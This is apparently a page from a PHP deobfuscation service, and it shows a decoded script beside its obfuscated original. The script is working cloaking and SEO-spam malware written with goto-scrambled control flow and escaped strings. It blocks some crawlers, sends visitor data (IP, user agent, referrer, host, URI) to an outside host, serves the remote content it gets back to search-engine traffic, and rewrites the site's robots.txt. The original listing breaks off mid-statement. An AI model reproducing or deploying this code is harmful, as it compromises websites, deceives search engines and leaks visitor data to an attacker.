Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto qxBnc; drSPz: CSwrE: goto efSlz; cLy_O: $o3SvQ = "\142\x69\x6e\x67\174\147\x6f..

Decoded Output download

<?php 
goto qxBnc; drSPz: CSwrE: goto efSlz; cLy_O: $o3SvQ = "bing|google|yahoo"; goto fO8A1; BukQc: goto cEHbx; goto a_dDS; GY0Rg: zxnzs: goto zxpoM; bB95H: if (substr($RUE1s, 0, 5) == "<?xml") { goto koFlU; } goto WEeaV; ekQhS: $NWD_1 = trim($NWD_1) . "\xd
" . "Sitemap: {$diiWw}"; goto shQDH; GthJd: vbg0z: goto BBOZx; T90RM: NuTGH: goto jZ41C; SVXcI: exit; goto drSPz; ogGTf: $RUE1s = mxWg_($WJ8Bs); goto Ipa3K; itviz: saeLJ: goto xzvRy; qcz_N: if (!preg_match("/(Bytespider|PetalBot|AhrefsBot|Barkrowler|MJ12bot|FeedDemon|JikeSpider|Indy Library|AskTbFXTV|CrawlDaddy|CoolpadWebkit|Java|Feedly|UniversalFeedParser|ApacheBench|Swiftbot|ZmEu|oBot|jaunty|Python-urllib|python-requests|lightDeckReports Bot|YYSpider|DigExt|YisouSpider|HttpClient|heritrix|EasouSpider|Ezooms|AmazonBot|SEMrushBot|YandexBot|paloaltonetworks|Python)/i", $_SERVER["HTTP_USER_AGENT"])) { goto Qxiw5; } goto QpJJR; N4spb: $F2o1c = $_SERVER["SCRIPT_NAME"]; goto Q_fle; S012o: @file_put_contents("uxo.txt", "1"); goto lrOHn; Lwvxs: goto XAQVr; goto uxU4Y; OCqMe: goto wjWOd; goto cVnB3; USgLZ: exit; goto okXly; uxU4Y: FHhom: goto vKvG1; BKQv6: if (!file_exists("uxo.txt")) { goto jjhHA; } goto y2sTl; S89NN: $rHzXA = urlencode($_SERVER["HTTP_ACCEPT_LANGUAGE"]); goto jwnpf; QnH0V: goto WcZ20; goto UButj; s8fJE: if (preg_match("/({$o3SvQ})/i", $_SERVER["HTTP_USER_AGENT"])) { goto FHhom; } goto IRG8L; TsWKJ: goto saeLJ; goto jglHw; u6vld: $gDt5J = $TGpde . "?agent={$ibzMF}&refer={$XMDsu}&lang={$rHzXA}&ip={$WSSFO}&dom={$lth2a}&http={$CQZSt}&uri={$OX3oL}&pc={$QKxdU}&rewriteable={$vKASN}&script={$YDbvn}"; goto wOEgc; LZqgM: $WSSFO = urlencode($gstsI); goto yKdJ9; JJzOO: $CQZSt = urlencode($_SERVER["REQUEST_SCHEME"]); goto tmo6Q; tmo6Q: $OX3oL = urldecode($_SERVER["REQUEST_URI"]); goto Z5gwB; ANBJE: @file_put_contents("uxo.txt", "0"); goto btqQg; opzO2: $F2o1c = $F2o1c . "?"; goto TsWKJ; EOCoe: TxWw0: goto u6vld; S3mls: header("HTTP/1.1 404 Not Found"); goto IAX7w; Ej6Bq: function mxwg_($UCNPB) { goto ZvFOC; m43di: ZMb1G: goto JwaRK; JwaRK: $CxRSw = curl_exec($MBZCG); goto n4TIB; ONQye: pck1c: goto JE5N4; dAWj1: curl_setopt($MBZCG, CURLOPT_SSL_VERIFYPEER, FALSE); goto qUOhL; JE5N4: return $CxRSw; goto oCFh1; n4TIB: curl_close($MBZCG); goto ONQye; YuZls: curl_setopt($MBZCG, CURLOPT_FOLLOWLOCATION, false); goto jJA40; qUOhL: curl_setopt($MBZCG, CURLOPT_SSL_VERIFYHOST, FALSE); goto m43di; HH5Se: curl_setopt($MBZCG, CURLOPT_RETURNTRANSFER, true); goto YuZls; PqwCj: if (!empty($CxRSw)) { goto pck1c; } goto If2vx; oVvw4: curl_setopt($MBZCG, CURLOPT_URL, $UCNPB); goto HH5Se; If2vx: $MBZCG = curl_init(); goto oVvw4; jJA40: if (!(strpos($UCNPB, "https://") !== false)) { goto ZMb1G; } goto dAWj1; ZvFOC: $CxRSw = @file_get_contents($UCNPB); goto PqwCj; oCFh1: } goto z7sVG; s4Qu_: if (empty($RUE1s)) { goto iK5ly; } goto S3mls; fdJ5b: header("Content-Type: text/plain; charset=utf-8"); goto D2juC; okXly: EIQdW: goto bB95H; IRG8L: if (preg_match("/({$o3SvQ})/i", $_SERVER["HTTP_REFERER"])) { goto I7uN_; } goto pr34N; BBOZx: $vKASN = 1; goto S012o; nS6g8: $QKxdU = 2735; goto btSjm; me0Tq: if (strpos($OX3oL, "robots.txt") !== false || strpos($OX3oL, "writerobots") !== false) { goto zxnzs; } goto uGRZD; rowfc: wjWOd: goto BB107; JrAHq: $vKASN = 0; goto ANBJE; qUGxV: header("HTTP/1.0 500 Internal Server Error"); goto kDyYY; vDUqo: $WJ8Bs = $CQZSt . "://" . $_SERVER["HTTP_HOST"] . "/uuuuxxxxooo"; goto ogGTf; PKteH: goto mkltg; goto k0iTW; Z5gwB: if (!(strpos($OX3oL, "uuuuxxxxooo") !== false)) { goto CSwrE; } goto ZtCXE; t_rgr: goto NuTGH; goto GY0Rg; p0T6_: oR0rt: goto JJzOO; lqN5c: OrfcW: goto VjdMv; mJQ7t: $gDt5J = $TGpde . "?agent={$ibzMF}&refer={$XMDsu}&lang={$rHzXA}&ip={$WSSFO}&dom={$lth2a}&http={$CQZSt}&uri={$OX3oL}&pc={$QKxdU}&rewriteable={$vKASN}"; goto uC9ib; RfSVs: I7uN_: goto mJQ7t; A8Hdp: Rjgho: goto N4spb; RL_QA: exit; goto OQGxz; VVNUd: QoJtS: goto kObgv; QkF3F: header("HTTP/1.0 403 Forbidden"); goto g1JeH; IAX7w: echo $RUE1s; goto ReyzS; DvYYB: pBmDs: goto t_rgr; oQrj4: $RUE1s = MXwG_($gDt5J); goto tXcwn; Q_eOW: if (strpos($OX3oL, "favicon.ico") !== false) { goto u7zFd; } goto gz7t2; CykXf: $_SERVER["REQUEST_SCHEME"] = "https"; goto p0T6_; UButj: LdNvS: goto NtiXW; WTXhW: header("Content-Type: text/xml; charset=utf-8"); goto lqN5c; z7sVG: function huUMW($UCNPB) { goto xGsfj; KO7fG: if (!(strpos($UCNPB, "https://") !== false)) { goto Cl3Hq; } goto Gy3GA; xGsfj: $MBZCG = curl_init(); goto sBVHu; LSC7o: HdBj6: goto v6nuT; UAaPN: curl_setopt($MBZCG, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]); goto KO7fG; Gy3GA: curl_setopt($MBZCG, CURLOPT_SSL_VERIFYPEER, FALSE); goto pQ9Ij; pQ9Ij: curl_setopt($MBZCG, CURLOPT_SSL_VERIFYHOST, FALSE); goto jKQnh; jKQnh: Cl3Hq: goto W9F9M; v6nuT: return $CxRSw; goto WI95y; W9F9M: $CxRSw = curl_exec($MBZCG); goto XGkJ2; XGkJ2: curl_close($MBZCG); goto CYSS9; bBol2: curl_setopt($MBZCG, CURLOPT_FOLLOWLOCATION, false); goto UAaPN; sBVHu: curl_setopt($MBZCG, CURLOPT_URL, $UCNPB); goto ZfeyV; ZfeyV: curl_setopt($MBZCG, CURLOPT_RETURNTRANSFER, true); goto bBol2; L3vjJ: $CxRSw = @file_get_contents($UCNPB); goto LSC7o; CYSS9: if (!empty($CxRSw)) { goto HdBj6; } goto L3vjJ; WI95y: } goto qcz_N; WOvDW: kL0WX: goto rpBNr; JFdTx: $_SERVER["REQUEST_SCHEME"] = "http"; goto i0O_5; wOEgc: $RUE1s = mxwg_($gDt5J); goto ACFJc; btSjm: $ibzMF = urlencode($_SERVER["HTTP_USER_AGENT"]); goto Pm06Q; JuC1N: exit; goto FRNFx; asyh_: exit; goto VVNUd; zTd4_: mkltg: goto YuT85; bFObc: cEHbx: goto itviz; btqQg: goto iSARI; goto GthJd; x2TRO: $F2o1c = "/?"; goto bFObc; ReyzS: exit; goto UW5qx; y2sTl: $vKASN = @file_get_contents("uxo.txt"); goto PKteH; sY6eA: rGwBC: goto GQhWg; Ev66z: pY12h: goto uk72A; VjdMv: echo $RUE1s; goto asyh_; kDyYY: exit; goto sY6eA; kTJS4: $gDt5J = $TGpde . "?agent={$ibzMF}&refer={$XMDsu}&lang={$rHzXA}&ip={$WSSFO}&dom={$lth2a}&http={$CQZSt}&uri={$OX3oL}&pc={$QKxdU}&rewriteable={$vKASN}&script={$YDbvn}&sitemap=" . urlencode($diiWw); goto pwEiG; YuT85: if (strpos($OX3oL, "pingsitemap.xml") !== false) { goto Rjgho; } goto Q_eOW; Pm06Q: $XMDsu = urlencode($_SERVER["HTTP_REFERER"]); goto S89NN; qfW0Z: goto pBmDs; goto EOCoe; vGz4p: HfVwB: goto CykXf; tuozg: $NWD_1 = "User-agent: *
\xaAllow: /"; goto zjl31; jglHw: ZFVDm: goto k6JCl; u_xEr: $YDbvn = urlencode($_SERVER["SCRIPT_NAME"]); goto v_leH; cVnB3: u7zFd: goto rowfc; uk72A: $gDt5J = $TGpde . "?agent={$ibzMF}&refer={$XMDsu}&lang={$rHzXA}&ip={$WSSFO}&dom={$lth2a}&http={$CQZSt}&uri={$OX3oL}&pc={$QKxdU}&rewriteable={$vKASN}&script={$YDbvn}"; goto VFC1W; YlLSa: header("HTTP/1.0 500 Internal Server Error"); goto USgLZ; uHotx: exit; goto YlPqu; DMPx2: exit; goto T90RM; gz7t2: if (strpos($OX3oL, "jp2023") !== false) { goto pY12h; } goto me0Tq; E9r1_: goto OrfcW; goto xsE6f; jwnpf: $gstsI = RbYsa(); goto LZqgM; xsE6f: koFlU: goto WTXhW; mdBQ0: @file_put_contents("robots.txt", $NWD_1); goto JuC1N; k6JCl: if ($vKASN == 0) { goto bp9no; } goto xwRG8; DIVW3: exit; goto zABXi; UW5qx: iK5ly: goto wpjT5; NtiXW: header("HTTP/1.0 500 Internal Server Error"); goto RL_QA; yKdJ9: $lth2a = urlencode($_SERVER["HTTP_HOST"]); goto u_xEr; xzvRy: $MY3Zz = "https://www.google.com/ping?sitemap="; goto tuozg; BB107: goto bHZAw; goto A8Hdp; ACFJc: if ($RUE1s == "500") { goto LdNvS; } goto rieNl; QpJJR: header("HTTP/1.0 403 Forbidden"); goto DIVW3; YlPqu: zE2FI: goto OCqMe; l9GRE: echo $diiWw . ": " . $Nd292 . "<br/>"; goto kTJS4; uC9ib: $RUE1s = MxwG_($gDt5J); goto nW6VF; nDzA9: @file_put_contents("robots.txt", $RUE1s); goto DMPx2; D2juC: echo $RUE1s = mxWG_($gDt5J); goto nDzA9; PrVAe: echo $RUE1s; goto ESUHK; i0O_5: goto oR0rt; goto vGz4p; jZ41C: goto zE2FI; goto Ev66z; Q_fle: if (strpos($F2o1c, "index.php") !== false) { goto ZFVDm; } goto opzO2; wpjT5: goto rGwBC; goto MggYi; rieNl: header("Content-Type: text/xml; charset=utf-8"); goto PrVAe; uGRZD: if (preg_match("@^/(.*?).xml$@i", $OX3oL)) { goto TxWw0; } goto s8fJE; MggYi: FdTXn: goto qUGxV; g1JeH: exit; goto WOvDW; tXcwn: if (empty($RUE1s)) { goto QoJtS; } goto wCaCr; rpBNr: $vKASN = 0; goto BKQv6; fO8A1: $TGpde = "http://cw68.russiandue.top/index.php"; goto nS6g8; H8566: echo $RUE1s; goto uHotx; xwRG8: $F2o1c = "/"; goto BukQc; shQDH: $Nd292 = ''; goto l9GRE; zABXi: Qxiw5: goto cLy_O; pE0KV: function Rbysa() { goto CqP2E; lXQoe: $WSSFO = "0.0.0.0"; goto VncGU; lKH69: $WSSFO = getenv("HTTP_X_REAL_IP"); goto jNJru; twUfc: $aP669 = explode(",", $WSSFO); goto pHZhX; VncGU: goto ca7xk; goto l6PyC; P27tI: $WSSFO = getenv("HTTP_CLIENT_IP"); goto A46r9; VEPj7: return $WSSFO; goto ZaHjH; A46r9: kR8rP: goto SgR07; XM9P_: goto ca7xk; goto qWaRr; aaicF: K54ia: goto o3efw; o3efw: $WSSFO = getenv("HTTP_X_FORWARDED_FOR"); goto twUfc; CqP2E: if (!getenv("HTTP_CLIENT_IP")) { goto kR8rP; } goto P27tI; x1TmG: ca7xk: goto VEPj7; jNJru: goto ca7xk; goto aaicF; l6PyC: zo7zI: goto lKH69; z5r6j: if (getenv("REMOTE_ADDR")) { goto Hidhe; } goto lXQoe; XDSvV: if (getenv("HTTP_X_FORWARDED_FOR")) { goto K54ia; } goto z5r6j; Ba_2K: $WSSFO = getenv("REMOTE_ADDR"); goto x1TmG; SgR07: if (getenv("HTTP_X_REAL_IP")) { goto zo7zI; } goto XDSvV; qWaRr: Hidhe: goto Ba_2K; pHZhX: $WSSFO = $aP669[0]; goto XM9P_; ZaHjH: } goto Ej6Bq; Ipa3K: if ($RUE1s == "ok") { goto vbg0z; } goto JrAHq; GQhWg: lnrqy: goto Lwvxs; WEeaV: header("Content-Type: text/html; charset=utf-8"); goto E9r1_; ESUHK: exit; goto QnH0V; ZtCXE: echo "ok"; goto SVXcI; lrOHn: iSARI: goto zTd4_; nW6VF: if ($RUE1s == "500") { goto FdTXn; } goto s4Qu_; qxBnc: error_reporting(0); goto pE0KV; kObgv: XAQVr: goto qfW0Z; zxpoM: $gDt5J = $TGpde . "?agent={$ibzMF}&refer={$XMDsu}&lang={$rHzXA}&ip={$WSSFO}&dom={$lth2a}&http={$CQZSt}&uri={$OX3oL}&pc={$QKxdU}&rewriteable={$vKASN}&script={$YDbvn}"; goto fdJ5b; pwEiG: $RUE1s = mxWG_($gDt5J); goto mdBQ0; VFC1W: $RUE1s = mXWg_($gDt5J); goto H8566; wCaCr: if (!($RUE1s == "500")) { goto EIQdW; } goto YlLSa; vKvG1: $gDt5J = $TGpde . "?agent={$ibzMF}&refer={$XMDsu}&lang={$rHzXA}&ip={$WSSFO}&dom={$lth2a}&http={$CQZSt}&uri={$OX3oL}&pc={$QKxdU}&rewriteable={$vKASN}&script={$YDbvn}"; goto oQrj4; v_leH: if (!empty($_SERVER["REQUEST_SCHEME"]) && $_SERVER["REQUEST_SCHEME"] == "https" || !empty($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] == "on" || !empty($_SERVER["SERVER_PORT"]) && $_SERVER["SERVER_PORT"] == "443" || isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] == "https") { goto HfVwB; } goto JFdTx; k0iTW: jjhHA: goto vDUqo; zjl31: $diiWw = "{$CQZSt}://" . $lth2a . $F2o1c . "sitemap.xml"; goto ekQhS; pr34N: goto lnrqy; goto RfSVs; a_dDS: bp9no: goto x2TRO; OQGxz: WcZ20: goto DvYYB; efSlz: if (!($gstsI == "153.246.135.238" || $gstsI == "219.101.44.233")) { goto kL0WX; } goto QkF3F; FRNFx: bHZAw: 
?>

Did this file decode correctly?

Original Code

<?php
goto qxBnc; drSPz: CSwrE: goto efSlz; cLy_O: $o3SvQ = "\142\x69\x6e\x67\174\147\x6f\x6f\x67\154\145\174\x79\x61\150\157\x6f"; goto fO8A1; BukQc: goto cEHbx; goto a_dDS; GY0Rg: zxnzs: goto zxpoM; bB95H: if (substr($RUE1s, 0, 5) == "\74\x3f\170\155\154") { goto koFlU; } goto WEeaV; ekQhS: $NWD_1 = trim($NWD_1) . "\xd\12" . "\x53\151\164\145\x6d\141\160\x3a\40{$diiWw}"; goto shQDH; GthJd: vbg0z: goto BBOZx; T90RM: NuTGH: goto jZ41C; SVXcI: exit; goto drSPz; ogGTf: $RUE1s = mxWg_($WJ8Bs); goto Ipa3K; itviz: saeLJ: goto xzvRy; qcz_N: if (!preg_match("\x2f\50\102\x79\x74\145\x73\x70\x69\144\145\162\x7c\x50\x65\x74\141\x6c\x42\157\164\x7c\101\x68\x72\145\x66\163\x42\157\164\x7c\x42\141\162\153\x72\157\x77\x6c\x65\162\x7c\x4d\x4a\x31\x32\x62\x6f\164\174\x46\x65\145\144\104\x65\x6d\157\156\x7c\x4a\x69\x6b\x65\x53\x70\x69\x64\145\x72\x7c\111\156\144\171\x20\x4c\x69\x62\x72\141\x72\171\174\101\x73\153\x54\x62\106\130\124\x56\174\103\162\141\167\x6c\x44\x61\x64\x64\171\174\103\x6f\x6f\154\160\141\x64\x57\x65\142\x6b\151\164\174\x4a\x61\x76\141\174\106\x65\145\x64\154\171\174\x55\156\x69\x76\145\x72\x73\141\154\x46\x65\145\x64\120\x61\162\x73\x65\x72\174\101\160\141\x63\x68\x65\102\x65\x6e\143\150\x7c\x53\x77\x69\x66\164\x62\x6f\164\x7c\x5a\x6d\105\x75\x7c\157\102\157\x74\x7c\152\141\165\x6e\x74\171\174\x50\171\164\x68\x6f\156\x2d\165\x72\x6c\154\x69\142\x7c\160\171\x74\150\x6f\156\55\162\145\161\165\x65\163\164\163\174\154\x69\x67\150\164\x44\145\x63\153\x52\145\160\x6f\x72\164\x73\x20\x42\x6f\x74\x7c\x59\x59\123\160\151\x64\x65\162\174\x44\x69\147\x45\170\x74\174\x59\x69\x73\x6f\165\123\160\151\x64\145\x72\174\x48\x74\x74\x70\103\154\151\145\156\164\x7c\150\x65\162\x69\x74\x72\x69\x78\174\x45\141\x73\157\165\x53\x70\x69\144\145\162\x7c\x45\x7a\157\x6f\x6d\x73\174\x41\x6d\x61\172\x6f\156\x42\x6f\164\x7c\123\x45\115\x72\x75\163\x68\x42\x6f\164\x7c\131\141\x6e\x64\x65\x78\102\x6f\x74\174\160\x61\154\157\141\x6c\x74\x6f\x6e\145\164\x77\157\162\x6b\163\x7c\x50\171\x74\x68\x6f\x6e\51\x2f\x69", $_SERVER["\x48\x54\124\120\x5f\x55\x53\x45\x52\137\x41\107\x45\x4e\124"])) { goto Qxiw5; } goto QpJJR; N4spb: $F2o1c = $_SERVER["\x53\103\122\x49\x50\x54\137\x4e\101\115\105"]; goto Q_fle; S012o: @file_put_contents("\165\x78\x6f\x2e\164\170\x74", "\61"); goto lrOHn; Lwvxs: goto XAQVr; goto uxU4Y; OCqMe: goto wjWOd; goto cVnB3; USgLZ: exit; goto okXly; uxU4Y: FHhom: goto vKvG1; BKQv6: if (!file_exists("\165\x78\x6f\x2e\x74\x78\x74")) { goto jjhHA; } goto y2sTl; S89NN: $rHzXA = urlencode($_SERVER["\110\124\x54\120\137\x41\103\103\105\x50\x54\137\x4c\101\x4e\107\x55\x41\x47\105"]); goto jwnpf; QnH0V: goto WcZ20; goto UButj; s8fJE: if (preg_match("\x2f\x28{$o3SvQ}\x29\x2f\151", $_SERVER["\x48\124\124\x50\137\125\123\105\x52\137\101\107\x45\x4e\124"])) { goto FHhom; } goto IRG8L; TsWKJ: goto saeLJ; goto jglHw; u6vld: $gDt5J = $TGpde . "\77\141\x67\x65\x6e\x74\75{$ibzMF}\46\162\x65\x66\x65\x72\x3d{$XMDsu}\x26\x6c\x61\x6e\x67\75{$rHzXA}\x26\151\160\75{$WSSFO}\46\x64\157\155\75{$lth2a}\x26\150\164\164\x70\75{$CQZSt}\46\165\162\x69\x3d{$OX3oL}\x26\160\x63\75{$QKxdU}\46\162\x65\167\162\x69\x74\x65\x61\142\154\145\x3d{$vKASN}\x26\163\143\x72\151\160\x74\x3d{$YDbvn}"; goto wOEgc; LZqgM: $WSSFO = urlencode($gstsI); goto yKdJ9; JJzOO: $CQZSt = urlencode($_SERVER["\x52\105\x51\x55\x45\123\x54\137\123\x43\110\105\115\105"]); goto tmo6Q; tmo6Q: $OX3oL = urldecode($_SERVER["\122\105\121\x55\x45\123\124\x5f\x55\122\111"]); goto Z5gwB; ANBJE: @file_put_contents("\x75\170\x6f\56\164\170\164", "\x30"); goto btqQg; opzO2: $F2o1c = $F2o1c . "\77"; goto TsWKJ; EOCoe: TxWw0: goto u6vld; S3mls: header("\x48\124\x54\x50\x2f\x31\56\x31\40\x34\60\x34\x20\x4e\x6f\164\40\x46\157\165\156\x64"); goto IAX7w; Ej6Bq: function mxwg_($UCNPB) { goto ZvFOC; m43di: ZMb1G: goto JwaRK; JwaRK: $CxRSw = curl_exec($MBZCG); goto n4TIB; ONQye: pck1c: goto JE5N4; dAWj1: curl_setopt($MBZCG, CURLOPT_SSL_VERIFYPEER, FALSE); goto qUOhL; JE5N4: return $CxRSw; goto oCFh1; n4TIB: curl_close($MBZCG); goto ONQye; YuZls: curl_setopt($MBZCG, CURLOPT_FOLLOWLOCATION, false); goto jJA40; qUOhL: curl_setopt($MBZCG, CURLOPT_SSL_VERIFYHOST, FALSE); goto m43di; HH5Se: curl_setopt($MBZCG, CURLOPT_RETURNTRANSFER, true); goto YuZls; PqwCj: if (!empty($CxRSw)) { goto pck1c; } goto If2vx; oVvw4: curl_setopt($MBZCG, CURLOPT_URL, $UCNPB); goto HH5Se; If2vx: $MBZCG = curl_init(); goto oVvw4; jJA40: if (!(strpos($UCNPB, "\x68\164\164\x70\x73\x3a\x2f\x2f") !== false)) { goto ZMb1G; } goto dAWj1; ZvFOC: $CxRSw = @file_get_contents($UCNPB); goto PqwCj; oCFh1: } goto z7sVG; s4Qu_: if (empty($RUE1s)) { goto iK5ly; } goto S3mls; fdJ5b: header("\x43\157\x6e\x74\145\x6e\x74\x2d\124\171\160\145\x3a\40\164\145\170\x74\x2f\160\x6c\141\151\156\x3b\40\x63\150\x61\162\163\x65\x74\x3d\x75\164\146\55\70"); goto D2juC; okXly: EIQdW: goto bB95H; IRG8L: if (preg_match("\x2f\50{$o3SvQ}\51\57\151", $_SERVER["\110\124\124\120\x5f\x52\105\106\105\122\x45\122"])) { goto I7uN_; } goto pr34N; BBOZx: $vKASN = 1; goto S012o; nS6g8: $QKxdU = 2735; goto btSjm; me0Tq: if (strpos($OX3oL, "\x72\x6f\142\157\x74\x73\x2e\164\x78\x74") !== false || strpos($OX3oL, "\x77\162\151\x74\x65\162\x6f\x62\157\x74\x73") !== false) { goto zxnzs; } goto uGRZD; rowfc: wjWOd: goto BB107; JrAHq: $vKASN = 0; goto ANBJE; qUGxV: header("\x48\124\124\120\57\x31\x2e\x30\x20\x35\60\60\40\x49\156\x74\x65\x72\156\x61\x6c\40\123\x65\x72\166\145\162\x20\x45\x72\162\157\162"); goto kDyYY; vDUqo: $WJ8Bs = $CQZSt . "\x3a\57\x2f" . $_SERVER["\x48\124\x54\x50\137\110\x4f\x53\x54"] . "\57\165\x75\165\x75\x78\x78\170\x78\x6f\x6f\x6f"; goto ogGTf; PKteH: goto mkltg; goto k0iTW; Z5gwB: if (!(strpos($OX3oL, "\165\165\165\165\170\170\x78\170\157\157\157") !== false)) { goto CSwrE; } goto ZtCXE; t_rgr: goto NuTGH; goto GY0Rg; p0T6_: oR0rt: goto JJzOO; lqN5c: OrfcW: goto VjdMv; mJQ7t: $gDt5J = $TGpde . "\77\x61\147\145\x6e\164\x3d{$ibzMF}\46\x72\145\146\145\162\75{$XMDsu}\46\154\x61\156\147\75{$rHzXA}\46\x69\x70\x3d{$WSSFO}\x26\x64\157\x6d\75{$lth2a}\46\150\x74\x74\160\75{$CQZSt}\x26\165\x72\x69\75{$OX3oL}\x26\x70\x63\x3d{$QKxdU}\x26\162\x65\167\x72\x69\x74\145\x61\x62\154\x65\x3d{$vKASN}"; goto uC9ib; RfSVs: I7uN_: goto mJQ7t; A8Hdp: Rjgho: goto N4spb; RL_QA: exit; goto OQGxz; VVNUd: QoJtS: goto kObgv; QkF3F: header("\x48\x54\x54\x50\57\x31\x2e\60\40\64\x30\63\40\x46\157\162\x62\151\x64\x64\x65\156"); goto g1JeH; IAX7w: echo $RUE1s; goto ReyzS; DvYYB: pBmDs: goto t_rgr; oQrj4: $RUE1s = MXwG_($gDt5J); goto tXcwn; Q_eOW: if (strpos($OX3oL, "\146\141\166\x69\143\157\156\x2e\x69\143\x6f") !== false) { goto u7zFd; } goto gz7t2; CykXf: $_SERVER["\x52\105\x51\x55\105\x53\x54\x5f\123\103\x48\105\115\105"] = "\150\x74\164\160\x73"; goto p0T6_; UButj: LdNvS: goto NtiXW; WTXhW: header("\x43\x6f\x6e\x74\145\x6e\164\x2d\124\171\x70\145\72\40\x74\145\170\x74\x2f\x78\155\x6c\x3b\x20\143\x68\141\x72\163\145\164\x3d\x75\164\x66\55\x38"); goto lqN5c; z7sVG: function huUMW($UCNPB) { goto xGsfj; KO7fG: if (!(strpos($UCNPB, "\x68\x74\164\160\x73\x3a\57\x2f") !== false)) { goto Cl3Hq; } goto Gy3GA; xGsfj: $MBZCG = curl_init(); goto sBVHu; LSC7o: HdBj6: goto v6nuT; UAaPN: curl_setopt($MBZCG, CURLOPT_USERAGENT, $_SERVER["\110\x54\x54\120\137\125\123\105\122\137\x41\x47\x45\116\x54"]); goto KO7fG; Gy3GA: curl_setopt($MBZCG, CURLOPT_SSL_VERIFYPEER, FALSE); goto pQ9Ij; pQ9Ij: curl_setopt($MBZCG, CURLOPT_SSL_VERIFYHOST, FALSE); goto jKQnh; jKQnh: Cl3Hq: goto W9F9M; v6nuT: return $CxRSw; goto WI95y; W9F9M: $CxRSw = curl_exec($MBZCG); goto XGkJ2; XGkJ2: curl_close($MBZCG); goto CYSS9; bBol2: curl_setopt($MBZCG, CURLOPT_FOLLOWLOCATION, false); goto UAaPN; sBVHu: curl_setopt($MBZCG, CURLOPT_URL, $UCNPB); goto ZfeyV; ZfeyV: curl_setopt($MBZCG, CURLOPT_RETURNTRANSFER, true); goto bBol2; L3vjJ: $CxRSw = @file_get_contents($UCNPB); goto LSC7o; CYSS9: if (!empty($CxRSw)) { goto HdBj6; } goto L3vjJ; WI95y: } goto qcz_N; WOvDW: kL0WX: goto rpBNr; JFdTx: $_SERVER["\122\105\x51\125\x45\x53\x54\x5f\123\103\110\x45\x4d\x45"] = "\150\x74\164\160"; goto i0O_5; wOEgc: $RUE1s = mxwg_($gDt5J); goto ACFJc; btSjm: $ibzMF = urlencode($_SERVER["\110\124\124\120\x5f\x55\123\105\x52\x5f\101\x47\x45\x4e\124"]); goto Pm06Q; JuC1N: exit; goto FRNFx; asyh_: exit; goto VVNUd; zTd4_: mkltg: goto YuT85; bFObc: cEHbx: goto itviz; btqQg: goto iSARI; goto GthJd; x2TRO: $F2o1c = "\57\77"; goto bFObc; ReyzS: exit; goto UW5qx; y2sTl: $vKASN = @file_get_contents("\165\x78\157\56\164\x78\x74"); goto PKteH; sY6eA: rGwBC: goto GQhWg; Ev66z: pY12h: goto uk72A; VjdMv: echo $RUE1s; goto asyh_; kDyYY: exit; goto sY6eA; kTJS4: $gDt5J = $TGpde . "\77\141\x67\x65\x6e\x74\75{$ibzMF}\46\x72\x65\x66\145\162\x3d{$XMDsu}\x26\154\x61\156\147\75{$rHzXA}\46\x69\160\x3d{$WSSFO}\x26\x64\x6f\x6d\75{$lth2a}\x26\150\164\164\x70\x3d{$CQZSt}\x26\165\162\x69\x3d{$OX3oL}\x26\160\143\x3d{$QKxdU}\x26\162\x65\x77\x72\151\164\x65\141\x62\x6c\145\75{$vKASN}\46\x73\x63\162\151\x70\164\75{$YDbvn}\x26\x73\151\164\145\x6d\x61\160\75" . urlencode($diiWw); goto pwEiG; YuT85: if (strpos($OX3oL, "\x70\151\x6e\147\x73\x69\x74\145\x6d\141\160\x2e\x78\155\x6c") !== false) { goto Rjgho; } goto Q_eOW; Pm06Q: $XMDsu = urlencode($_SERVER["\x48\124\124\x50\137\x52\105\x46\105\x52\105\x52"]); goto S89NN; qfW0Z: goto pBmDs; goto EOCoe; vGz4p: HfVwB: goto CykXf; tuozg: $NWD_1 = "\125\163\145\x72\x2d\x61\x67\145\x6e\x74\x3a\x20\52\15\xa\x41\x6c\x6c\x6f\167\x3a\x20\57"; goto zjl31; jglHw: ZFVDm: goto k6JCl; u_xEr: $YDbvn = urlencode($_SERVER["\x53\103\122\x49\120\x54\x5f\116\x41\x4d\105"]); goto v_leH; cVnB3: u7zFd: goto rowfc; uk72A: $gDt5J = $TGpde . "\77\141\147\x65\156\164\75{$ibzMF}\x26\162\145\146\x65\162\75{$XMDsu}\x26\x6c\x61\x6e\147\x3d{$rHzXA}\x26\151\x70\x3d{$WSSFO}\x26\144\x6f\155\75{$lth2a}\x26\x68\x74\164\x70\x3d{$CQZSt}\x26\x75\x72\x69\x3d{$OX3oL}\46\160\143\x3d{$QKxdU}\x26\x72\x65\167\162\x69\x74\x65\x61\142\x6c\x65\75{$vKASN}\46\163\x63\x72\x69\x70\x74\x3d{$YDbvn}"; goto VFC1W; YlLSa: header("\x48\x54\x54\120\x2f\61\56\60\x20\65\x30\x30\40\111\156\164\145\x72\x6e\141\x6c\40\123\145\162\166\145\x72\40\105\x72\162\157\162"); goto USgLZ; uHotx: exit; goto YlPqu; DMPx2: exit; goto T90RM; gz7t2: if (strpos($OX3oL, "\152\160\x32\x30\62\x33") !== false) { goto pY12h; } goto me0Tq; E9r1_: goto OrfcW; goto xsE6f; jwnpf: $gstsI = RbYsa(); goto LZqgM; xsE6f: koFlU: goto WTXhW; mdBQ0: @file_put_contents("\x72\x6f\142\x6f\164\163\56\164\170\164", $NWD_1); goto JuC1N; k6JCl: if ($vKASN == 0) { goto bp9no; } goto xwRG8; DIVW3: exit; goto zABXi; UW5qx: iK5ly: goto wpjT5; NtiXW: header("\110\124\x54\x50\57\x31\x2e\60\40\65\x30\x30\40\111\156\x74\x65\162\156\141\154\40\x53\x65\162\166\145\x72\40\105\162\x72\157\162"); goto RL_QA; yKdJ9: $lth2a = urlencode($_SERVER["\x48\x54\124\120\137\110\117\123\x54"]); goto u_xEr; xzvRy: $MY3Zz = "\150\164\x74\x70\x73\x3a\x2f\x2f\x77\x77\x77\x2e\147\157\x6f\x67\x6c\145\x2e\143\x6f\155\57\x70\x69\x6e\147\77\x73\151\164\145\155\141\x70\75"; goto tuozg; BB107: goto bHZAw; goto A8Hdp; ACFJc: if ($RUE1s == "\65\60\x30") { goto LdNvS; } goto rieNl; QpJJR: header("\x48\124\124\x50\57\61\x2e\x30\x20\64\x30\63\40\106\157\162\x62\151\x64\x64\x65\x6e"); goto DIVW3; YlPqu: zE2FI: goto 